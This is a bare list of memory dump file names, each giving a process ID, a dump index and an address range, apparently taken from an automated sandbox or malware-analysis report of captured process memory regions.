memory/2080-195-0x00007FF7F88F0000-0x00007FF7F894B000-memory.dmp
memory/2480-77-0x0000000000A50000-0x0000000000A9C000-memory.dmp
memory/2564-265-0x00007FF7F88F0000-0x00007FF7F894B000-memory.dmp
memory/3332-192-0x00000000007D0000-0x00000000007E2000-memory.dmp
memory/3332-279-0x00000000007D0000-0x00000000007E2000-memory.dmp
memory/3696-162-0x00007FF7F88F0000-0x00007FF7F894B000-memory.dmp
memory/3696-177-0x00007FF7F88F0000-0x00007FF7F894B000-memory.dmp
memory/4212-236-0x00007FF7F88F0000-0x00007FF7F894B000-memory.dmp
memory/4268-4-0x0000000000400000-0x0000000000A9B000-memory.dmp
memory/4268-0-0x0000000000400000-0x0000000000A9B000-memory.dmp
memory/4472-202-0x00000000014B0000-0x00000000014B8000-memory.dmp
memory/4472-14-0x00000000014B0000-0x00000000014B8000-memory.dmp
memory/4472-201-0x0000000001530000-0x0000000001582000-memory.dmp
memory/4472-132-0x0000000001530000-0x0000000001582000-memory.dmp
memory/4472-13-0x0000000001530000-0x0000000001582000-memory.dmp
memory/4472-15-0x0000000001590000-0x000000000159B000-memory.dmp
memory/4472-280-0x0000000001530000-0x0000000001582000-memory.dmp
memory/4488-8-0x0000000000400000-0x0000000000A9B000-memory.dmp
memory/4816-216-0x00007FF7F88F0000-0x00007FF7F894B000-memory.dmp
memory/4852-227-0x00007FF7F88F0000-0x00007FF7F894B000-memory.dmp
memory/5260-182-0x00000000007D0000-0x00000000007E2000-memory.dmp
memory/5260-190-0x00000000007D0000-0x00000000007E2000-memory.dmp
memory/5468-255-0x00007FF7F88F0000-0x00007FF7F894B000-memory.dmp
memory/5512-207-0x00007FF7F88F0000-0x00007FF7F894B000-memory.dmp
memory/5972-174-0x00000000007D0000-0x00000000007E2000-memory.dmp
memory/5972-180-0x00000000007D0000-0x00000000007E2000-memory.dmp
memory/6068-140-0x00000000008B0000-0x0000000000A51000-memory.dmp
memory/6068-137-0x00007FF741BA0000-0x00007FF741C8E000-memory.dmp
memory/6068-139-0x00007FF741BA0000-0x00007FF741C8E000-memory.dmp
memory/6068-141-0x00000000001E0000-0x00000000001EC000-memory.dmp
memory/6080-263-0x00007FF7F88F0000-0x00007FF7F894B000-memory.dmp
memory/6672-258-0x00007FF7F88F0000-0x00007FF7F894B000-memory.dmp
memory/6832-231-0x00007FF7F88F0000-0x00007FF7F894B000-memory.dmp
memory/7068-220-0x00007FF7F88F0000-0x00007FF7F894B000-memory.dmp